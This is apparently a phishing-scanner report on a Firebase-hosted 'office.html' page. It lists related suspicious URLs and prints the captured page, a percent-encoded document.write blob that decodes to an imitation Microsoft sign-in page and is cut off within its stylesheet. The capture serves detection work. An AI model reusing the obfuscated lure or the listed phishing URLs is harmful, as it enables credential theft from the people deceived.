https://firebasestorage.googleapis.com/v0/b/hshsj38jjd.appspot.com/o/office.html?alt=media&token=6fc3b1c2-953c-40fe-a2e1-03ba02155e00

Last Checked: Nov 20, 2019, 04:40 EST

IP Address: 172.217.5.106
ASN #: AS15169 GOOGLE - Google LLC, US
Location: Data unavailable.
URL Reputation:
  • Unknown This URL is not identified as malicious in the PhishTank Database.
  • Warning PhishCheck thinks this URL is likely a phish.
  • Unknown OpenPhish: URL not in feed.

Other submissions on 172.217.5.106:

  • https://firebasestorage.googleapis.com/v0/b/fre3sfilee.appspot.com/o/old.html?alt=media&token=d85105fb-7602-4410-8fe5-9e1af1426653

  • https://fonts.googleapis.com/css?family=Ubuntu:300,400,500,700

  • http://safebrowsing.googleapis.com/

  • https://safebrowsing.googleapis.com:443/v4/threatListUpdates:fetch?$req\=Ch0KDGdvb2dsZWNocm9tZRINNzYuMC4zODA5LjEzMhopCAUQARobCg0IBRAGGAEiAzAwMTABEOyIBxoCGAQ2DHVDIgQgASACKAEaKQgBEAEaGwoNCAEQBhgBIgMwMDEwARDFsgYaAhgEME5uDSIEIAEgAigBGikIBxABGhsKDQgHEAYYASIDMDAxMAEQjPQFGgIYBF76NgwiBCABIAIoARonCAEQARoZCg0IARAGGAEiAzAwMTADEBQaAhgEF6xMtiIEIAEgAigDGigIARAIGhoKDQgBEAgYASIDMDAxMAQQ8BcaAhgEEvtdjCIEIAEgAigEGicICRABGhkKDQgJEAYYASIDMDAxMAYQAhoCGASvEsHhIgQgASACKAYaJwgPEAEaGQoNCA8QBhgBIgMwMDEwARB3GgIYBMJDB78iBCABIAIoARonCAkQARoZCg0ICRAGGAEiAzAwMTABEBUaAhgELmeGeCIEIAEgAigBGicIChAIGhkKDQgKEAgYASIDMDAxMAEQBRoCGASNcPULIgQgASACKAEaKAgIEAEaGgoNCAgQBhgBIgMwMDEwARDQBhoCGAS6nlO1IgQgASACKAEaKAgNEAEaGgoNCA0QBhgBIgMwMDEwARCASBoCGAQepfBpIgQgASACKAEaKQgDEAEaGwoNCAMQBhgBIgMwMDEwARDFtAYaAhgEKhSSayIEIAEgAigBGikIDhABGhsKDQgOEAYYASIDMDAxMAEQ05ICGgIYBIAwO-8iBCABIAIoASICCAE\=&$ct\=application/x-protobuf&key\=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw

  • https://firebasestorage.googleapis.com/v0/b/upgradeaccoun.appspot.com/o/roundcube%2Fapril%2Findex2chim.html?alt=media&token=d21efb12-5de9-4ec5-a5a7-654271e741aa&email=complaint.th@aig.com

  • https://realtimesupport.clients6.google.com/v2/customers/me?alt=protojson&key=AIzaSyB5V4SIBGmrqREm7kf2fBJgPcBMCdUrLzE

  • http://imasdk.googleapis.com/

  • https://firebasestorage.googleapis.com/v0/b/khbv-59939.appspot.com/o/NewOff.html?alt=media&token=98fa9d58-d57e-4e92-82ba-1c7a4eeee373

  • https://firebasestorage.googleapis.com/v0/b/projet-1-9f307.appspot.com/o/SSus23.html?alt=media&token=550a9594-e3ce-42a2-a609-569c43231f34

  • http://sfo03s07-in-f106.1e100.net/

Other submissions on googleapis.com:

  • https://storage.googleapis.com/aonedrive-phytochemical-151651778/index.html

  • https://storage.googleapis.com/aonedrive-syphilitics-441859519/index.html

  • https://storage.googleapis.com/checkmysecurity/Account.password.secure.htm

  • https://firebasestorage.googleapis.com/v0/b/fre3sfilee.appspot.com/o/nk3.html?alt=media

  • https://firebasestorage.googleapis.com/v0/b/fre3sfilee.appspot.com/o/nk3.html?alt=media&token=3bde2ce2-1da0-44f4-b0af-8b2eeff354f2

  • https://storage.googleapis.com/quintaverifificaciondescobiblzb324/webverifyforumonline.html

  • https://fonts.googleapis.com/css?family=Lato

  • https://storage.googleapis.com/ueirolgkjcbhwjaz/atzueufjwvbxjhsdf.html

  • https://storage.googleapis.com/usahavardincusahavardincusahavardinc/GRD.html

  • https://firebasestorage.googleapis.com/v0/b/neptunesfile.appspot.com/o/e.html.html?alt=media&token=388db78a-ef28-4665-939a-c5aea0c9c71d

Previous checks:

                               fgets: Connection reset by peer

                             
  • GET
    200

    https://firebasestorage.googleapis.com/v0/b/hshsj38jjd.appspot.com/o/office.html?alt=media&token=6fc3b1c2-953c-40fe-a2e1-03ba02155e00

  • GET
    400

    https://firebasestorage.googleapis.com/favicon.ico

b'<html lang="en-US"><head><script type="text/javascript">\n<!--\ndocument.write(unescape(\'%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%0d%0a%3c%68%74%6d%6c%20%6c%61%6e%67%3d%22%65%6e%2d%55%53%22%3e%3c%68%65%61%64%3e%0d%0a%20%20%20%20%20%20%20%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%58%2d%55%41%2d%43%6f%6d%70%61%74%69%62%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%49%45%3d%31%30%2e%30%30%30%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%6d%65%74%61%20%6e%61%6d%65%3d%22%76%69%65%77%70%6f%72%74%22%20%63%6f%6e%74%65%6e%74%3d%22%77%69%64%74%68%3d%31%39%32%30%70%78%3b%20%69%6e%69%74%69%61%6c%2d%73%63%61%6c%65%3d%31%2e%30%3b%20%6d%61%78%69%6d%75%6d%2d%73%63%61%6c%65%3d%31%2e%30%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%63%6f%6e%74%65%6e%74%2d%74%79%70%65%22%20%63%6f%6e%74%65%6e%74%3d%22%74%65%78%74%2f%68%74%6d%6c%3b%20%63%68%61%72%73%65%74%3d%55%54%46%2d%38%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%63%61%63%68%65%2d%63%6f%6e%74%72%6f%6c%22%20%63%6f%6e%74%65%6e%74%3d%22%6e%6f%2d%63%61%63%68%65%2c%6e%6f%2d%73%74%6f%72%65%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%70%72%61%67%6d%61%22%20%63%6f%6e%74%65%6e%74%3d%22%6e%6f%2d%63%61%63%68%65%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%65%78%70%69%72%65%73%22%20%63%6f%6e%74%65%6e%74%3d%22%2d%31%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%6d%65%74%61%20%6e%61%6d%65%3d%22%6d%73%77%65%62%64%69%61%6c%6f%67%2d%74%69%74%6c%65%22%20%63%6f%6e%74%65%6e%74%3d%22%43%6f%6e%6e%65%63%74%69%6e%67%20%74%6f%20%50%44%53%41%22%3e%0d%0a%09%09%3c%62%6f%64%79%3e%0d%0a%3c%73%74%79%6c%65%3e%0d%0a%2a%20%7b%0d%0a%09%6d%61%72%67%69%6e%3a%30%70%78%3b%0d%0a%09%70%61%64%64%69%6e%67%3a%30%70%78%3b%0d%0a%7d%0d%0a%68%74%6d%6c%2c%20%62%6f%64%79%0d%0a%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%31%30%30%25%3b%0d%0a%20%20%20%20%77%69%64%74%68%3a%31%30%30%25%3b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%23%66%66%66%66%66%66%3b%0d%0a%20%20%20%20%63%6f%6c%6f%72%3a%23%30%30%30%30%30%30%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%6e%6f%72%6d%61%6c%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%66%61%6d%69%6c%79%3a%22%53%65%67%6f%65%20%55%49%22%20%2c%20%22%53%65%67%6f%65%22%20%2c%20%22%53%65%67%6f%65%55%49%2d%52%65%67%75%6c%61%72%2d%66%69%6e%61%6c%22%2c%20%54%61%68%6f%6d%61%2c%20%48%65%6c%76%65%74%69%63%61%2c%20%41%72%69%61%6c%2c%20%73%61%6e%73%2d%73%65%72%69%66%3b%0d%0a%20%20%20%20%6d%69%6e%2d%77%69%64%74%68%3a%35%30%30%70%78%3b%0d%0a%20%20%20%20%2d%6d%73%2d%6f%76%65%72%66%6c%6f%77%2d%73%74%79%6c%65%3a%2d%6d%73%2d%61%75%74%6f%68%69%64%69%6e%67%2d%73%63%72%6f%6c%6c%62%61%72%3b%0d%0a%7d%0d%0a%0d%0a%62%6f%64%79%0d%0a%7b%0d%0a%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%30%2e%39%65%6d%3b%0d%0a%7d%0d%0a%0d%0a%23%6e%6f%53%63%72%69%70%74%20%7b%20%6d%61%72%67%69%6e%3a%31%36%70%78%3b%20%63%6f%6c%6f%72%3a%42%6c%61%63%6b%3b%20%7d%0d%0a%0d%0a%3a%6c%61%6e%67%28%65%6e%2d%47%42%29%7b%71%75%6f%74%65%73%3a%27%5c%32%30%31%38%27%20%27%5c%32%30%31%39%27%20%27%5c%32%30%31%43%27%20%27%5c%32%30%31%44%27%3b%7d%0d%0a%3a%6c%61%6e%67%28%7a%68%29%7b%66%6f%6e%74%2d%66%61%6d%69%6c%79%3a%5fae%8f6f%96c5%9ed1%3b%7d%0d%0a%0d%0a%40%2d%6d%73%2d%76%69%65%77%70%6f%72%74%20%7b%20%77%69%64%74%68%3a%20%64%65%76%69%63%65%2d%77%69%64%74%68%3b%20%7d%0d%0a%40%2d%6d%6f%7a%2d%76%69%65%77%70%6f%72%74%20%7b%20%77%69%64%74%68%3a%20%64%65%76%69%63%65%2d%77%69%64%74%68%3b%20%7d%0d%0a%40%2d%6f%2d%76%69%65%77%70%6f%72%74%20%7b%20%77%69%64%74%68%3a%20%64%65%76%69%63%65%2d%77%69%64%74%68%3b%20%7d%0d%0a%40%2d%77%65%62%6b%69%74%2d%76%69%65%77%70%6f%72%74%20%7b%20%77%69%64%74%68%3a%20%64%65%76%69%63%65%2d%77%69%64%74%68%3b%20%20%7d%0d%0a%40%76%69%65%77%70%6f%72%74%20%7b%20%77%69%64%74%68%3a%20%64%65%76%69%63%65%2d%77%69%64%74%68%3b%20%7d%0d%0a%0d%0a%2f%2a%20%54%68%65%6d%65%20%6c%61%79%6f%75%74%20%73%74%79%6c%65%73%20%2a%2f%0d%0a%0d%0a%23%66%75%6c%6c%50%61%67%65%2c%20%23%62%72%61%6e%64%69%6e%67%57%72%61%70%70%65%72%0d%0a%7b%0d%0a%20%20%20%20%77%69%64%74%68%3a%31%30%30%25%3b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%31%30%30%25%3b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%69%6e%68%65%72%69%74%3b%0d%0a%7d%0d%0a%23%62%72%61%6e%64%69%6e%67%57%72%61%70%70%65%72%0d%0a%7b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%23%34%34%38%38%64%64%3b%0d%0a%7d%0d%0a%23%62%72%61%6e%64%69%6e%67%0d%0a%7b%20%20%20%20%20%20%20%0d%0a%20%20%20%20%2f%2a%20%41%20%62%61%63%6b%67%72%6f%75%6e%64%20%69%6d%61%67%65%20%77%69%6c%6c%20%62%65%20%61%64%64%65%64%20%74%6f%20%74%68%65%20%23%62%72%61%6e%64%69%6e%67%20%65%6c%65%6d%65%6e%74%20%61%74%20%72%75%6e%2d%74%69%6d%65%20%6f%6e%63%65%20%74%68%65%20%69%6c%6c%75%73%74%72%61%74%69%6f%6e%20%69%6d%61%67%65%20%69%73%20%63%6f%6e%66%69%67%75%72%65%64%20%69%6e%20%74%68%65%20%74%68%65%6d%65%2e%20%0d%0a%20%20%20%20%20%20%20%52%65%63%6f%6d%6d%65%6e%64%65%64%20%69%6d%61%67%65%20%64%69%6d%65%6e%73%69%6f%6e%73%3a%20%31%34%32%30%78%31%32%30%30%20%70%69%78%65%6c%73%2c%20%4a%50%47%20%6f%72%20%50%4e%47%2c%20%32%30%30%20%6b%42%20%61%76%65%72%61%67%65%2c%20%35%30%30%20%6b%42%20%6d%61%78%69%6d%75%6d%2e%20%2a%2f%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%31%30%30%25%3b%0d%0a%20%20%20%20%6d%61%72%67%69%6e%2d%72%69%67%68%74%3a%35%30%30%70%78%3b%20%6d%61%72%67%69%6e%2d%6c%65%66%74%3a%30%70%78%3b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%69%6e%68%65%72%69%74%3b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%72%65%70%65%61%74%3a%20%6e%6f%2d%72%65%70%65%61%74%3b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%73%69%7a%65%3a%63%6f%76%65%72%3b%0d%0a%20%20%20%20%2d%77%65%62%6b%69%74%2d%62%61%63%6b%67%72%6f%75%6e%64%2d%73%69%7a%65%3a%63%6f%76%65%72%3b%0d%0a%20%20%20%20%2d%6d%6f%7a%2d%62%61%63%6b%67%72%6f%75%6e%64%2d%73%69%7a%65%3a%63%6f%76%65%72%3b%0d%0a%20%20%20%20%2d%6f%2d%62%61%63%6b%67%72%6f%75%6e%64%2d%73%69%7a%65%3a%63%6f%76%65%72%3b%0d%0a%7d%0d%0a%23%63%6f%6e%74%65%6e%74%57%72%61%70%70%65%72%0d%0a%7b%0d%0a%20%20%20%20%70%6f%73%69%74%69%6f%6e%3a%72%65%6c%61%74%69%76%65%3b%0d%0a%20%20%20%20%77%69%64%74%68%3a%35%30%30%70%78%3b%20%20%20%20%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%31%30%30%25%3b%0d%0a%20%20%20%20%6f%76%65%72%66%6c%6f%77%3a%61%75%74%6f%3b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%23%66%66%66%66%66%66%3b%20%2f%2a%20%66%6f%72%20%49%45%37%20%2a%2f%0d%0a%20%20%20%20%6d%61%72%67%69%6e%2d%6c%65%66%74%3a%2d%35%30%30%70%78%3b%20%6d%61%72%67%69%6e%2d%72%69%67%68%74%3a%30%70%78%3b%20%0d%0a%7d%0d%0a%23%63%6f%6e%74%65%6e%74%0d%0a%7b%0d%0a%20%20%20%20%6d%69%6e%2d%68%65%69%67%68%74%3a%31%30%30%25%3b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%20%61%75%74%6f%20%21%69%6d%70%6f%72%74%61%6e%74%3b%0d%0a%20%20%20%20%6d%61%72%67%69%6e%3a%30%20%61%75%74%6f%20%2d%35%35%70%78%20%61%75%74%6f%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%3a%30%70%78%20%31%35%30%70%78%20%30%70%78%20%35%30%70%78%3b%0d%0a%7d%0d%0a%23%68%65%61%64%65%72%0d%0a%7b%0d%0a%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%32%65%6d%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%6c%69%67%68%74%65%72%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%66%61%6d%69%6c%79%3a%22%53%65%67%6f%65%20%55%49%20%4c%69%67%68%74%22%20%2c%20%22%53%65%67%6f%65%22%20%2c%20%22%53%65%67%6f%65%55%49%2d%4c%69%67%68%74%2d%66%69%6e%61%6c%22%2c%20%54%61%68%6f%6d%61%2c%20%48%65%6c%76%65%74%69%63%61%2c%20%41%72%69%61%6c%2c%20%73%61%6e%73%2d%73%65%72%69%66%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%2d%74%6f%70%3a%20%39%30%70%78%3b%0d%0a%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%36%30%70%78%3b%0d%0a%20%20%20%20%6d%69%6e%2d%68%65%69%67%68%74%3a%31%30%30%70%78%3b%0d%0a%20%20%20%20%6f%76%65%72%66%6c%6f%77%3a%68%69%64%64%65%6e%3b%0d%0a%7d%0d%0a%23%68%65%61%64%65%72%20%69%6d%67%0d%0a%7b%0d%0a%20%20%20%20%2f%2a%20%4c%6f%67%6f%20%69%6d%61%67%65%20%72%65%63%6f%6d%6d%65%6e%64%65%64%20%64%69%6d%65%6e%73%69%6f%6e%3a%20%36%30%78%36%30%20%28%73%71%75%61%72%65%29%20%6f%72%20%33%35%30%58%33%35%20%28%65%6c%6f%6e%67%61%74%65%64%29%2c%20%34%20%6b%42%20%61%76%65%72%61%67%65%2c%20%31%30%20%6b%42%20%6d%61%78%69%6d%75%6d%2e%20%54%72%61%6e%73%70%61%72%65%6e%74%20%50%4e%47%20%73%74%72%6f%6e%67%6c%79%20%72%65%63%6f%6d%6d%65%6e%64%65%64%2e%20%2a%2f%0d%0a%20%20%20%20%77%69%64%74%68%3a%61%75%74%6f%3b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%61%75%74%6f%3b%0d%0a%7d%0d%0a%23%77%6f%72%6b%41%72%65%61%2c%20%23%68%65%61%64%65%72%0d%0a%7b%0d%0a%20%20%20%20%77%6f%72%64%2d%77%72%61%70%3a%62%72%65%61%6b%2d%77%6f%72%64%3b%0d%0a%20%20%20%20%77%69%64%74%68%3a%33%35%30%70%78%3b%0d%0a%7d%0d%0a%23%77%6f%72%6b%41%72%65%61%0d%0a%7b%0d%0a%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%39%30%70%78%3b%0d%0a%7d%0d%0a%23%66%6f%6f%74%65%72%50%6c%61%63%65%68%6f%6c%64%65%72%0d%0a%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%34%30%70%78%3b%0d%0a%7d%0d%0a%23%66%6f%6f%74%65%72%0d%0a%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%34%30%70%78%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%3a%31%30%70%78%20%35%30%70%78%20%30%70%78%20%35%30%70%78%3b%0d%0a%20%20%20%20%70%6f%73%69%74%69%6f%6e%3a%72%65%6c%61%74%69%76%65%3b%0d%0a%20%20%20%20%63%6f%6c%6f%72%3a%23%36%36%36%36%36%36%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%30%2e%37%38%65%6d%3b%0d%0a%7d%0d%0a%23%66%6f%6f%74%65%72%4c%69%6e%6b%73%0d%0a%7b%0d%0a%20%20%20%20%66%6c%6f%61%74%3a%6e%6f%6e%65%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%2d%74%6f%70%3a%31%30%70%78%3b%0d%0a%7d%0d%0a%23%63%6f%70%79%72%69%67%68%74%20%7b%63%6f%6c%6f%72%3a%23%36%39%36%39%36%39%3b%7d%0d%0a%2e%70%61%67%65%4c%69%6e%6b%20%7b%20%63%6f%6c%6f%72%3a%23%30%30%30%30%30%30%3b%20%70%61%64%64%69%6e%67%2d%6c%65%66%74%3a%31%36%70%78%3b%20%7d%0d%0a%0d%0a%2f%2a%20%43%6f%6d%6d%6f%6e%20%63%6f%6e%74%65%6e%74%20%73%74%79%6c%65%73%20%2a%2f%0d%0a%0d%0a%2e%63%6c%65%61%72%20%7b%63%6c%65%61%72%3a%62%6f%74%68%3b%7d%0d%0a%2e%66%6c%6f%61%74%20%7b%20%66%6c%6f%61%74%3a%6c%65%66%74%3b%20%7d%20%0d%0a%2e%66%6c%6f%61%74%52%65%76%65%72%73%65%20%7b%20%66%6c%6f%61%74%3a%72%69%67%68%74%3b%20%7d%20%0d%0a%2e%69%6e%64%65%6e%74%20%7b%20%6d%61%72%67%69%6e%2d%6c%65%66%74%3a%31%36%70%78%3b%20%7d%20%0d%0a%2e%69%6e%64%65%6e%74%4e%6f%6e%43%6f%6c%6c%61%70%73%69%62%6c%65%20%7b%20%70%61%64%64%69%6e%67%2d%6c%65%66%74%3a%31%36%70%78%3b%20%7d%0d%0a%2e%68%69%64%64%65%6e%20%7b%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%7d%0d%0a%2e%6e%6f%74%48%69%64%64%65%6e%20%7b%64%69%73%70%6c%61%79%3a%69%6e%68%65%72%69%74%3b%7d%0d%0a%2e%65%72%72%6f%72%20%7b%20%63%6f%6c%6f%72%3a%23%63%38%35%33%30%35%3b%20%7d%0d%0a%2e%61%63%74%69%6f%6e%4c%69%6e%6b%20%7b%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%38%70%78%3b%20%64%69%73%70%6c%61%79%3a%62%6c%6f%63%6b%3b%20%7d%0d%0a%61%0d%0a%7b%0d%0a%20%20%20%20%63%6f%6c%6f%72%3a%23%32%36%37%32%65%63%3b%0d%0a%20%20%20%20%74%65%78%74%2d%64%65%63%6f%72%61%74%69%6f%6e%3a%6e%6f%6e%65%3b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%74%72%61%6e%73%70%61%72%65%6e%74%3b%0d%0a%7d%0d%0a%75%6c%20%7b%20%6c%69%73%74%2d%73%74%79%6c%65%2d%74%79%70%65%3a%20%64%69%73%63%3b%20%7d%0d%0a%68%31%2c%68%32%2c%68%33%2c%68%34%2c%68%35%2c%6c%61%62%65%6c%20%7b%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%20%38%70%78%3b%20%7d%0d%0a%2e%73%75%62%6d%69%74%4d%61%72%67%69%6e%20%7b%20%6d%61%72%67%69%6e%2d%74%6f%70%3a%33%38%70%78%3b%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%33%30%70%78%3b%20%7d%0d%0a%2e%74%6f%70%46%69%65%6c%64%4d%61%72%67%69%6e%20%7b%20%6d%61%72%67%69%6e%2d%74%6f%70%3a%38%70%78%3b%20%7d%0d%0a%2e%66%69%65%6c%64%4d%61%72%67%69%6e%20%7b%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%38%70%78%3b%20%7d%0d%0a%2e%67%72%6f%75%70%4d%61%72%67%69%6e%20%7b%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%33%30%70%78%3b%20%7d%20%0d%0a%2e%73%65%63%74%69%6f%6e%4d%61%72%67%69%6e%20%7b%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%36%34%70%78%3b%20%7d%0d%0a%2e%62%6c%6f%63%6b%20%7b%20%64%69%73%70%6c%61%79%3a%20%62%6c%6f%63%6b%3b%20%7d%0d%0a%2e%61%75%74%6f%57%69%64%74%68%20%7b%20%77%69%64%74%68%3a%61%75%74%6f%3b%20%7d%0d%0a%2e%66%75%6c%6c%57%69%64%74%68%20%7b%20%77%69%64%74%68%3a%33%34%32%70%78%3b%20%7d%0d%0a%2e%66%75%6c%6c%57%69%64%74%68%49%6e%64%65%6e%74%20%7b%20%77%69%64%74%68%3a%33%32%36%70%78%3b%20%7d%0d%0a%69%6e%70%75%74%0d%0a%7b%0d%0a%20%20%20%20%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%20%0d%0a%20%20%20%20%66%6f%6e%74%2d%66%61%6d%69%6c%79%3a%69%6e%68%65%72%69%74%3b%0d%0a%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%38%70%78%3b%0d%0a%7d%0d%0a%69%6e%70%75%74%5b%74%79%70%65%3d%22%72%61%64%69%6f%22%5d%2c%20%69%6e%70%75%74%5b%74%79%70%65%3d%22%63%68%65%63%6b%62%6f%78%22%5d%20%7b%0d%0a%20%20%20%20%76%65%72%74%69%63%61%6c%2d%61%6c%69%67%6e%3a%6d%69%64%64%6c%65%3b%0d%0a%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%20%30%70%78%3b%0d%0a%7d%0d%0a%73%70%61%6e%2e%73%75%62%6d%69%74%2c%20%69%6e%70%75%74%5b%74%79%70%65%3d%22%73%75%62%6d%69%74%22%5d%0d%0a%7b%0d%0a%20%20%20%20%62%6f%72%64%65%72%3a%6e%6f%6e%65%3b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%2d%63%6f%6c%6f%72%3a%72%67%62%28%33%38%2c%20%31%31%34%2c%20%32%33%36%29%3b%0d%0a%20%20%20%20%6d%69%6e%2d%77%69%64%74%68%3a%38%30%70%78%3b%0d%0a%20%20%20%20%77%69%64%74%68%3a%61%75%74%6f%3b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%33%30%70%78%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%3a%34%70%78%20%32%30%70%78%20%36%70%78%20%32%30%70%78%3b%0d%0a%20%20%20%20%62%6f%72%64%65%72%2d%73%74%79%6c%65%3a%73%6f%6c%69%64%3b%0d%0a%20%20%20%20%62%6f%72%64%65%72%2d%77%69%64%74%68%3a%31%70%78%3b%0d%0a%20%20%20%20%74%72%61%6e%73%69%74%69%6f%6e%3a%62%61%63%6b%67%72%6f%75%6e%64%20%30%73%3b%0d%0a%20%20%20%20%63%6f%6c%6f%72%3a%72%67%62%28%32%35%35%2c%20%32%35%35%2c%20%32%35%35%29%3b%0d%0a%20%20%20%20%63%75%72%73%6f%72%3a%70%6f%69%6e%74%65%72%3b%0d%0a%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%38%70%78%3b%0d%0a%20%20%20%20%0d%0a%20%20%20%20%2d%6d%73%2d%75%73%65%72%2d%73%65%6c%65%63%74%3a%6e%6f%6e%65%3b%0d%0a%20%20%20%20%2d%6d%6f%7a%2d%74%72%61%6e%73%69%74%69%6f%6e%3a%62%61%63%6b%67%72%6f%75%6e%64%20%30%73%3b%0d%0a%20%20%20%20%2d%77%65%62%6b%69%74%2d%74%72%61%6e%73%69%74%69%6f%6e%3a%62%61%63%6b%67%72%6f%75%6e%64%20%30%73%3b%0d%0a%20%20%20%20%2d%6f%2d%74%72%61%6e%73%69%74%69%6f%6e%3a%62%61%63%6b%67%72%6f%75%6e%64%20%30%73%3b%0d%0a%20%20%20%20%2d%77%65%62%6b%69%74%2d%74%6f%75%63%68%2d%63%61%6c%6c%6f%75%74%3a%6e%6f%6e%65%3b%0d%0a%20%20%20%20%2d%77%65%62%6b%69%74%2d%75%73%65%72%2d%73%65%6c%65%63%74%3a%6e%6f%6e%65%3b%0d%0a%20%20%20%20%2d%6b%68%74%6d%6c%2d%75%73%65%72%2d%73%65%6c%65%63%74%3a%6e%6f%6e%65%3b%0d%0a%20%20%20%20%2d%6d%6f%7a%2d%75%73%65%72%2d%73%65%6c%65%63%74%3a%20%6e%6f%6e%65%3b%0d%0a%20%20%20%20%2d%6f%2d%75%73%65%72%2d%73%65%6c%65%63%74%3a%20%6e%6f%6e%65%3b%0d%0a%20%20%20%20%75%73%65%72%2d%73%65%6c%65%63%74%3a%6e%6f%6e%65%3b%0d%0a%7d%0d%0a%69%6e%70%75%74%5b%74%79%70%65%3d%22%73%75%62%6d%69%74%22%5d%3a%68%6f%76%65%72%2c%73%70%61%6e%2e%73%75%62%6d%69%74%3a%68%6f%76%65%72%0d%0a%7b%0d%0a%20%20%20%20%62%61%63%6b%67%72%6f%75%6e%64%3a%20%72%67%62%28%32%31%32%2c%20%32%32%37%2c%20%32%35%31%29%3b%0d%0a%7d%0d%0a%69%6e%70%75%74%2e%74%65%78%74%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%32%38%70%78%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%3a%30%70%78%20%33%70%78%20%30%70%78%20%33%70%78%20%3b%0d%0a%20%20%20%20%62%6f%72%64%65%72%3a%73%6f%6c%69%64%20%31%70%78%20%23%42%41%42%41%42%41%3b%0d%0a%7d%0d%0a%69%6e%70%75%74%2e%74%65%78%74%3a%66%6f%63%75%73%0d%0a%7b%0d%0a%20%20%62%6f%72%64%65%72%3a%20%31%70%78%20%73%6f%6c%69%64%20%23%36%42%36%42%36%42%3b%0d%0a%7d%0d%0a%73%65%6c%65%63%74%0d%0a%7b%0d%0a%20%20%20%20%68%65%69%67%68%74%3a%32%38%70%78%3b%0d%0a%20%20%20%20%6d%69%6e%2d%77%69%64%74%68%3a%36%30%70%78%3b%0d%0a%20%20%20%20%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%20%0d%0a%20%20%20%20%6d%61%72%67%69%6e%2d%62%6f%74%74%6f%6d%3a%38%70%78%3b%0d%0a%0d%0a%20%20%20%20%77%68%69%74%65%2d%73%70%61%63%65%3a%6e%6f%77%72%61%70%3b%0d%0a%20%20%20%20%6f%76%65%72%66%6c%6f%77%3a%68%69%64%64%65%6e%3b%0d%0a%20%20%20%20%62%6f%78%2d%73%68%61%64%6f%77%3a%6e%6f%6e%65%3b%0d%0a%20%20%20%20%70%61%64%64%69%6e%67%3a%32%70%78%3b%0d%0a%20%20%20%20%66%6f%6e%74%2d%66%61%6d%69%6c%79%3a%69%6e%68%65%72%69%74%3b%0d%0a%7d%0d%0a%68%31%2c%20%2e%67%69%61%6e%74%54%65%78%74%0d%0a%7b%0d%0a%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%32%2e%30%65%6d%3b%20%0d%0a%20%20%20%66%6f%6e%74%2d%77%65%69%67%68%74%3a%6c%69%67%68%74%65%72%3b%0d%0a%7d%20%20%20%20%20%20%20%20%20%20%0d%0a%68%32%2c%20%2e%62%69%67%54%65%78%74%0d%0a%7b%0d%0a%20%20%20%66%6f%6e%74%2d%73%69%7a%65%3a%31%2e%33%33%65%6d%3b%0d%0a%20%20%20%66%6